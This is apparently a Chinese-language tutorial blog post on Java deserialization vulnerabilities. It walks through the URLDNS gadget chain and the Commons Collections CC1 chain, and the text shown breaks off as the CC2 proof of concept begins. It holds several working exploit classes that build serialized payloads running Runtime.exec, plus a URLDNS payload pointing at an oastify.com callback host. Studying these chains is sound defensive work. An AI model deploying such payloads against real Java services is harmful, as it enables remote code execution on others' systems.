java反序列化&DNSlog链&cc链

java反序列化

1. 什么是序列化与反序列化

​ Java的序列化就是将对象转化为一个二进制的字节流的过程,该字节序列包含该对象的属性和方法;反序列化顾名思义就是将对象字节流转化为对象,而序列化时需要使用 writeObject 将对象转化为字节流,反序列化需要使用 readObject 将字节流转化为对象。

例如:

序列化:对象 -> 字符串
反序列化:字符串 -> 对象

序列化的好处:

(1) 能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。

(2) 利用序列化实现远程通信,在网络上传送对象的字节序列。

序列化与反序列化应用的场景:

(1) 想把内存中的对象保存到一个文件中或者是数据库当中。

(2) 用套接字在网络上传输对象。

(3) 通过 RMI 传输对象的时候。

2.几种创建的序列化和反序列化协议
XML&SOAP
JSON
Protobuf

代码:

Person.java

package study;

import java.io.Serializable;

public class Person implements Serializable {
    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }


    @Override
    public String toString() {
        return "dome01{" + "name=" + name + ", age=" + age + '}';
    }
}

SerializationTest.java

package study;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  //将一个对象序列化到文件ser.bin中。
        oos.writeObject(obj);
    }



//功能:程序的入口点,创建一个Person对象,打印它,然后将其序列化。
//参数:String[] args - 命令行参数。
//异常:声明抛出Exception,表示可能发生的任何异常。
//实现:
//创建一个Person对象,名为"aa",年龄为22。
//打印Person对象。
//调用serialize方法将Person对象序列化到文件。  -->即到ser.bin文件中

    public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        System.out.println(person);
        serialize(person);
    }
}

UnserializeTest.java

package study;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        Person person = (Person)unserialize("ser.bin");
        System.out.println(person);
    }

}

先运行序列化代码,即Run SerializationTest.java,未运行之前的文件夹

在这里插入图片描述

运行后:
在这里插入图片描述

可以看到多出来了一个ser.bin文件:

在这里插入图片描述

再进行运行UnserializeTest.java文件:

在这里插入图片描述

即将ser.bin的文件内容进行一次字符串 -> 对象的过程

Serializable 接口

(1) 序列化类的属性没有实现 Serializable那么在序列化就会报错
只有实现 了Serializable或者 Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)

Serializable 接口是 Java 提供的序列化接口,它是一个空接口,所以其实我们不需要实现什么。

public interface Serializable {
}

Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。如果我们此处将 Serializable 接口删除掉的话,会导致如下结果。

在这里插入图片描述

(2) 在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象。
(3)一个实现 Serializable接口的子类也是可以被序列化的。
(4) 静态成员变量是不能被序列化
序列化是针对对象属性的,而静态成员变量是属于类的。

(5) transient 标识的对象成员变量不参与序列化
这里我们可以动手实操一下,将 Person.java中的name加上**transient**的类型标识。加完之后再跑我们的序列化与反序列化的两个程序,修改过程与运行结果如图所示。

在这里插入图片描述

安全问题
  • 序列化与反序列化当中有两个 "特别特别特别特别特别"重要的方法 ————writeObjectreadObject**。

这两个方法可以经过开发者重写,一般序列化的重写都是由于下面这种场景诞生的。

举个例子,MyList 这个类定义了一个 arr 数组属性,初始化的数组长度为 100。在实际序列化时如果让 arr 属性参与序列化的话,那么长度为 100 的数组都会被序列化下来,但是我在数组中可能只存放 30 个数组而已,这明显是不可理的,所以这里就要自定义序列化过程,具体的做法是重写以下两个 private 方法:
private void writeObject(java.io.ObjectOutputStream s)throws java.io.IOException
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException

只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,基于攻击者在服务器上运行代码的能力。

所以从根本上来说,Java 反序列化的漏洞的与readObject有关

(1) 入口类的readObject直接调用危险方法

  • 这种情况呢,在实际开发场景中并不是特别常见,我们还是跟着代码来走一遍,写一段弹计算器的代码,文件————“Person.Java
package study;

import java.io.Serializable;

public class Person implements Serializable {
    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }


    @Override
    public String toString() {
        return "dome01{" + "name=" + name + ", age=" + age + '}';
    }

    private void readObject(java.io.ObjectInputStream ois)throws java.io.IOException, ClassNotFoundException{
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

}

随后先运行序列化程序 ———— “SerializationTest.java”,再运行反序列化程序 ———— “UnserializeTest.java

在这里插入图片描述

(2) 入口参数中包含可控类,该类有危险方法,readObject时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
(4) 构造函数/静态代码块等类加载时隐式执行

产生漏洞的攻击路线

首先的攻击前提:继承 Serializable

入口类:source (重写 readObject 调用常见的函数;参数类型宽泛,比如可以传入一个类作为参数;最好 jdk 自带)

找到入口类之后要找调用链 gadget chain 相同名称、相同类型

执行类 ***sink (RCE SSRF 写文件等等)***比如exec这种函数

以 HashMap 为例说明一下:

首先,攻击前提,那必然是要继承了Serializable这个接口,要不然谈何序列化与反序列化对吧。

HashMap 确实继承了Serializable这个接口。

在这里插入图片描述

打开 “Structure”,找到重写的readObject,往下分析。

在这里插入图片描述

在这里插入图片描述

在第 1416 行与 1418 行中,Key 与 Value 的值执行了readObject的操作,再将 Key 和 Value 两个变量扔进hash这个方法里,我们再跟进(ctrl+鼠标左键即可) hash 当中。

在这里插入图片描述

  • 若传入的参数 key 不为空,则h = key.hashCode(),于是乎,继续跟进hashCode当中。

hashCode 位置处于 Object 类当中,满足我们 调用常见的函数这一条件。

URLDNS

出发点:URLDNS 在 Java 复杂的反序列化漏洞当中足够简单;URLDNS 就是 ysoserial 中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。
因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次 DNS 请求。

虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时使⽤。

使⽤ Java 内置的类构造,对第三⽅库没有依赖。

在⽬标没有回显的时候,能够通过 DNS 请求得知是否存在反序列化漏洞 URL 类,调用openConnection方法,到此处的时候,其实openConnection不是常见函数,就已经难以利用了。

我们先去到 ysoserial 的项目当中,去看看它是如何构造 URLDNS 链的。

ysoserial项目地址:ysoserial

ysoserial 对 URLDNS 的利用链看着无比简单,就这么几行代码。

Gadget Chain:
	HashMap.readObject()
		HashMap.putVal()
			HashMap.hash()
				URL.hashCode()

复现一遍 URLDNS 的利用链。

初步复现

URL 是由 HashMap 的put方法产生的,所以我们先跟进put方法当中。put方法之后又是调用了hash方法;hash方法则是调用了hashcode这一函数。

在这里插入图片描述

key 是hash这一方法传进的参数!

hashmap.put(new URL("DNS生成的 URL,用dnslog就可以"),1);

// 传进去两个参数,key = 前面那串网址,value = 1

所以这里,我们跟进 URL,去看看 URL 跟进一堆之后的hashCode方法是如何实现的。跟进 URL,我们肯定是要去寻找 URL 调用的函数的函数(应该还有好几个的函数,就不写出来了,不然大家就晕了)的hashCode方法。

在左边 Structure 直接寻找hashCode方法,URL 中的hashCode被handler这一对象所调用,handler又是URLStreamHandler的抽象类。我们再去找URLStreamHandler的hashCode方法。

在这里插入图片描述

终于找到了,这个用于 URLDNS 的方法 ————getHostAddress

在这里插入图片描述

再跟进getHostAddress

在这里插入图片描述

这⾥InetAddress.getByName(host)的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。到这⾥就不必要再跟了

⾄此,整个 URLDNS 的Gadget为:

1.HashMap->readObject()

2.HashMap->hash()

3.URL->hashCode()

4.URLStreamHandler->hashCode()

5.URLStreamHandler->getHostAddress()

6.InetAddress->getByName()

SerializationTest.java文件下添加如下代码

HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
hashmap.put(new URL("DNS生成的 URL,用dnslog就可以"),1);

serialize(hashmap);

我们先把它序列化,结果发现收到了dns请求

在这里插入图片描述

还是从原理角度分析,我们回到 URL 这个对象,回到hashCode这里。

在这里插入图片描述

我们发现,当hashCode的值不等于 -1 的时候,函数就会直接return hashCode而不执行hashCode = handler.hashCode(this);。而一开始定义 HashMap 类的时候hashCode的值为 -1,便是发起了请求。

所以我们在没有反序列化的情况下面,就收到了 DNS 请求,这是不正确的。

修改代码如下:

在这里插入图片描述

SerializationTest.java

public static void main(String[] args) throws Exception{
 Person person = new Person("aa",22);
 HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
 // 这里不要发起请求
 URL url = new URL("http://bl00nzimnnujskz418kboqxt9kfb30.oastify.com"); 
 Class c = url.getClass();
 Field hashcodefile = c.getDeclaredField("hashCode");
 hashcodefile.setAccessible(true);
 hashcodefile.set(url,1234);
 hashmap.put(url,1);
 // 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
 hashcodefile.set(url,-1);
 serialize(hashmap);
}

反序列化的文件无需更改

接着我们运行序列化文件,是收不到 DNS 请求的,而当我们运行反序列化的文件时候,可以收到请求,这就代表着我们的 URLDNS 链构造成功了。

在这里插入图片描述

cc1链

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。。

commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。本文分析java反序列化CC1链,前置知识是java安全基础中的反射

环境搭建:

导入Maven依赖

 <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
 </dependency>

在这里插入图片描述

下载并且配置相应源码:

因为jdk自带的包里面有些文件是反编译的.class文件,我们没法清楚的看懂代码,为了方便我们调试,我们需要将他们转变为.java的文件,这就需要我们安装相应的源码:下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

在这里插入图片描述

点击左下角的zip即可下载,然后解压。再进入到相应JDK的文件夹中,里面本来就有个src.zip的压缩包,我们解压到当前文件夹下,然后把之前源码包(jdk-af660750b2f4.zip)中/src/share/classes下的sun文件夹拷贝到src文件夹中去。打开IDEA,选择文件 —>项目结构 —>SDK —>源路径 —>把src文件夹添加到源路径下,保存即可。或者将sun文件夹拷贝至jdk的src文件夹中:在这里插入图片描述

打开IDEA,选择文件 --->项目结构 --->SDK --->源路径把src文件夹添加到源路径下,保存即可。

在这里插入图片描述

CC1链分析:

利用链:

先把整段链子给出来,我们再倒推逐个分析。

AnnotationInvocationHandler.readObject()-->
AbstractInputCheckedMapDecorator.MapEntry.setValue()-->
TransformedMap.checkSetValue()-->
ChainedTransformer.transform()-->
InvokerTransformer.transform()

在这里插入图片描述

和URLDNS链一样,起点肯定是某个类的readObject()方法,要可序列化必须重写readObject()方法,接受任意对象作为参数。

0x01:

CC1链的末尾(入口/源头)就是Commons Collections库中的Tranformer接口,这个接口里面有个transform方法。如下图:

在这里插入图片描述

上图是下载了源码的样子,没有的话如下:
在这里插入图片描述

查看Tranformer接口中transform方法的实现,可以看到有21个实现了,但是着重看InvokerTransformer类:

在这里插入图片描述

可以看到实现了Transformer并且继承了serializable:

在这里插入图片描述

聚焦到包org.apache.commons.collections.functors中的InvokerTransformer类实现了Tranformer接口中transform方法。此方法接收了一个对象,然后反射调用,参数可控就导致了反射调用任意类 任意方法

在这里插入图片描述

//含参构造器,我们在外部调用类时需要用到
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { //参数为方法名,所调用方法的参数类型,所调用方法的参数值
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}
//重写的transform方法
public Object transform(Object input) { //接收一个对象
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();                               //可控的获取一个完整类的原型
        Method method = cls.getMethod(iMethodName, iParamTypes);    //可控的获取该类的某个特定方法
        return method.invoke(input, iArgs);                         //调用该类的方法
      //可以看到这里相当于是调用了我们熟悉的反射机制,来返回某个方法的利用值,这就是明显的利用点

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }

}

这里的参数都是可控的

在这里插入图片描述

//我们来回顾一下如何利用反射调用Runtime中的exec方法
 Runtime r=Runtime.getRuntime();
 Class c=r.getClass();
 Method m=c.getMethod("exec", String.class);
 m.invoke(r,"calc");

//那么我们尝试用transform方法来调用
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); //方法名为exec,参数类型为String,参数值为calc
invokerTransformer.transform(r);



//总结:比较上面两种方式,下面的transform相当于模拟了上诉的反射过程。

exp:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
import java.lang.reflect.*;

public class cc01 {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        //正常 调用可命令执行的方法
        //Runtime.getRuntime().exec("calc");

        Runtime cmd = Runtime.getRuntime();
        //使用反射 调用可命令执行的方法
        //Class clazz = Runtime.class;
        //Method cmdMethod = clazz.getMethod("exec", String.class);
        //cmdMethod.invoke(cmd, "calc");

        //InvokerTransformer类 调用可命令执行的方法
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(cmd);

    }
}

在这里插入图片描述

链子的最后一步就实现了。

在这里插入图片描述

0x02

知道了InvokerTransformer类可以调用transform()方法执行命令,那接下来的思路就是寻找还有其他什么地方调用了InvokerTransformer类的transform()方法。

补充:自己找的时候,不要找不同类transform()方法调用InvokerTransformer类的transform()方法,这种情况就是transform()方法再去调用transform()方法,没有意义。

对这个方法右键查找用法,可以看到有很多都调用了这个方法,那么我们这里直接看到我们需要的TransformedMap类下的checkSetValue方法:
在这里插入图片描述

那么我们来分析一下TransformedMap类:

TransformedMap类中调用了checkSetValue()方法,其中就调用了transform在这里插入图片描述

调用方式是valueTransformer.transform(value);,那我们要做到可控的话就要找TransformedMap类的构造函数了。

构造函数是有参构造函数,类型是protected,所以不能在外部直接调用,那么我们就要找TransformedMap类哪个方法调用了构造函数。
在这里插入图片描述

TransformedMap类的decorate方法调用了TransformedMap类的构造函数。

在这里插入图片描述

AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法 调用了 TransformedMap类中的checkSetValue()方法

在这里插入图片描述

在这里插入图片描述

而且我们可以看到AbstractInputCheckedMapDecorator类其实上是Transformedmap的父类。

加上TransformedMap类 和 AbstractInputCheckedMapDecorator类中的MapEntry类 后,我们尝试用代码实现调用计算器。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc102 {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        //正常 调用可命令执行的方法
        //Runtime.getRuntime().exec("calc");
        Runtime cmd = Runtime.getRuntime();

        //原先是
        //new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(cmd);
        InvokerTransformer invoker= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        Map<Object,Object> map=new HashMap<>();
        map.put("明天返校了","又是一年秋风萧瑟");

        //TransformedMap.decorate方法调用TransformedMap的构造方法。
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invoker);
        //构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。


        //AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法(作用是遍历map) 调用了 TransformedMap类中的checkSetValue()方法
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(cmd);
        }
        //TransformedMap类中的checkSetValue()方法调用了TransformedMap.valueTransformer.transform(value)
        //相当于invoker.transform(value),value就是上面entry.setValue(cmd)方法的参数cmd。
    }
}

链子进一步完善

在这里插入图片描述

0x03

继续倒推,是什么方法调用了AbstractInputCheckedMapDecorator.MapEntry类的s***etValue()***方法呢?

AnnotationInvocationHandler类的***readObject()方法调用了setValue()***方法。直接一步到位了。

调用格式是memberValue.setValue(…)

在这里插入图片描述

AnnotationInvocationHandler类没有被public声明(default类型),仅可在同一个包下可访问也就是在外面无法通过名字来调用,因此只可以用反射获取这个类。在这里插入图片描述

再看看这个类的构造方法。参数是一个Class对象,一个Map对象,其中Class继承了Annotation,也就是需要传入一个注解类进去(Target或者Override)。

注解举个例子就是我们经常会见到的@Override。这里我们选择Target,后面会解释。在这里插入图片描述

反射获取这个类 示例代码:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);

annotationConstructor.setAccessible(true);

Object o = annotationConstructor.newInstance(Target.class, transformedMap);

目前我们的CC1利用EXP已经有了个骨架,但是还是存在些许问题。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc103
    public static void main(String[] args) throws Exception {
        //正常 调用可命令执行的方法
        //Runtime.getRuntime().exec("calc");
        Runtime cmd = Runtime.getRuntime();

        InvokerTransformer invoker = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        Map<Object, Object> map = new HashMap<>();
        map.put("明天返校了", "又是一年秋风萧瑟");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invoker);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annotationConstructor.setAccessible(true);
        Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
        serialize(obj);  //序列化
        unserialize("ser1.bin"); //反序列化
    }


    //序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
        oos.writeObject(object);
    }

    //反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

当前链子

在这里插入图片描述

问题如下:

1、AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控。在这里插入图片描述

2、AnnotationInvocationHandler类的readObject()方法 要是想调用setValue()方法,得绕过两个if判断。
在这里插入图片描述

3、EXP中Runtime对象cmd因为Runtime类没有继承Serializable接口,不可以被序列化。
在这里插入图片描述

我们先解决问题3:Runtime对象不可以被序列化。

虽然Runtime对象不可以被序列化,但是class可以被序列化。
在这里插入图片描述

所以我们从反射下手,用反射实现Runtime

//使用反射 调用可命令执行的方法
Class clazz = Runtime.class;
Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
Method cmdMethod = clazz.getMethod("exec", String.class);
cmdMethod.invoke(cmd, "calc");

利用Invokertransformer和反射可以成功调用Runtime.getRuntime().exec方法 的代码段如下:

//Class clazz = Runtime.class;
//Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

//Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null);
Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRunmethod);

//Method cmdMethod = clazz.getMethod("exec", String.class);
//cmdMethod.invoke(cmd, "calc");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);

这三行实现看起来都差不多,其实是transform方法的循环调用。

解释一下第一行Method getRunmethod = (Method) new InvokerTransformer(“getDeclaredMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, null}).transform(Runtime.class);

第一个括号内的三个参数是 Invokertransformer类的构造函数的参数。传入的第一个参数String代表你需要调用的方法,第二个参数new Class[]数组代表你方法需要的参数类型,第三个参数***new Object[]***数组代表方法参数的具体值

第二个括号内的一个参数是 Invokertransformer类的transform方法的参数。这个参数是一个类,构造函数传入的参数作为这个类调用的方法。
在这里插入图片描述

但是回顾我们的EXP,我们在实现链子TransformedMap.checkSetValue()->InvokerTransformer.transform()时候我们往TransformedMap实例传入了一个InvokerTransformer实例。

但是现在这个InvokerTransformer实例没有了,被拆成了多个,就是上述三行代码,得想个办法统合起来。
在这里插入图片描述

聚焦到org.apache.commons.collections.functors包下面的ChainedTransformer类。

这个类存在transform方法可以帮我们遍历InvokerTransformer,并且循环调用遍历的InvokerTransformertransform方法
在这里插入图片描述

实现代码段:

//Method getRunmethod = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//Runtime cmd = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRunmethod);
//new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(cmd);

Transformer[] transformerArray=new Transformer[]{
	new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
	new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
	new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
chainedTransformer.transform(Runtime.class);

把上面这段实现代码段写到EXP里面后,还是执行不了命令,因为还有两个问题待解决。

我们再解决问题2:绕过两个if判断。

目前我们的的EXP如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc104 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformerArray=new Transformer[]{
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
        
        Map<Object, Object> map = new HashMap<>();
        map.put("明天返校了", "又是一年秋风萧瑟");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annotationConstructor.setAccessible(true);
        Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
        serialize(obj);  //序列化
        unserialize("ser1.bin"); //反序列化
    }

    //序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
        oos.writeObject(object);
    }

    //反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}

我们调试一下,会发现到第一个if判断时,条件是memberType != null。目前我们的memberType是空(null)。第一个if就过不去。

在这里插入图片描述

memberType是获取注解中成员变量的名称,然后并且检查HashMap键值对中键名是否是对应的名称。注解类(Target或者Override)
在这里插入图片描述

这里解释为什么前文注解类我们使用Target而不是Override。因为Override没有成员变量,而Target有成员变量名称是value

在这里插入图片描述

在这里插入图片描述

因此我们的EXP进行如下修改:
在这里插入图片描述

调试,成功进入第一个if。
在这里插入图片描述

第二个if判断能不能强转,我们传的肯定强转不了,就一定能过。


最后我们来解决我们的问题1 :AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控。

在这里插入图片描述

我们的目标是使得setValue()方法的参数是Runtime.class

聚焦到org.apache.commons.collections.functors包下的ConstantTransformer类。它里面的transform就是返回我们传入的对象,如果我们传入Runtime.class,那返回的也即是Runtime.class。我们可以利用ConstantTransformer类解决问题1。
在这里插入图片描述

EXP如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc105 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformerArray=new Transformer[]{
                new ConstantTransformer(Runtime.class),        //解决问题一:AnnotationInvocationHandler类的readObject()方法调用 的setValue()方法的参数不可控
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

        Map<Object, Object> map = new HashMap<>();
        map.put("value", "又是一年秋风萧瑟");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annotationConstructor.setAccessible(true);
        Object obj = annotationConstructor.newInstance(Target.class, transformedMap);
        
        serialize(obj);
        unserialize("ser1.bin"); 
    }


    //序列化方法
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
        oos.writeObject(object);
    }

    //反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}


最终链子:

在这里插入图片描述

在jdk1.8.0.71中修复了AnnotationInvocationHandler类的readObject方法,因此CC1无效了其他的链出现了。

前文提到CC1链分国外(Lazymap)国内(Transformmap),我们刚刚跟的是国内的,yso的CC1是国外的。国外CC1链如下。
在这里插入图片描述

cc2链

0x01:

前面分析了CC1的利用链,但是发现在CC1的利用链中是有版本的限制的。在JDK1.8 8u71版本以后,对AnnotationInvocationHandlerreadobject进行了改写。导致高版本中利用链无法使用。

这就有了其他的利用链,在CC2链里面并不是使用 AnnotationInvocationHandler来构造,而是使用 javassistPriorityQueue来构造利用链。

CC2链中使用的是commons-collections-4.0版本,但是CC1在commons-collections-4.0版本中其实能使用,但是commons-collections-4.0版本删除了lazyMapdecode方法,这时候我们可以使用lazyMap方法来代替。但是这里产生了一个疑问,为什么CC2链中使用commons-collections-4.03.2.1-3.1版本不能去使用,使用的是commons-collections-4.04.0的版本?在中间查阅了一些资料,发现在3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口,也就是说这是不可以被序列化的。所以在利用链上就不能使用他去构造。

利用链:

Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

Java安全之Javassist动态编程

环境搭建
CC2使用的是javassistPriorityQueue来构造利用链;
并且使用的是commons-collections-4.0版本,而3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口,也就是说这是不可以被序列化的,所以CC2不用3.x版本。

  • JDK 1.7
  • commons-collections-4.0

pom.xml中添加:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>
0x02:

利用链1分析

跟着利用链,首先看看PriorityQueue.readObject()

在这里插入图片描述

这里的queue[i]是从readObject得到的,再看看writeObject
在这里插入图片描述

writeObject中依次将queue[i]进行序列化,那么我们通过反射实例化PriorityQueue类的对象,给queue[i]赋值,就实现了对queue[i]的控制。

最后调用了heapify方法,跟进:

在这里插入图片描述

i>=0时进入for循环,而i=(size >>> 1) -1将size进行了右移操作,所以size>1才能进入循环。

再跟进siftDown方法:

在这里插入图片描述

x就是queue[i],跟进siftDownUsingComparator方法:

在这里插入图片描述

重点在comparator.compare(x, (E) c)
跟进可以看到Comparator是一个接口,compare是它的抽象方法;

在这里插入图片描述

CC2利用链中TransformingComparator类实现了compare方法;

在这里插入图片描述

该方法中调用了this.transformer.transform()方法,看到这里,就有点熟悉了,this.transformer又是我们可控的,后面的理解和CC1差不多了。

POC1分析

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

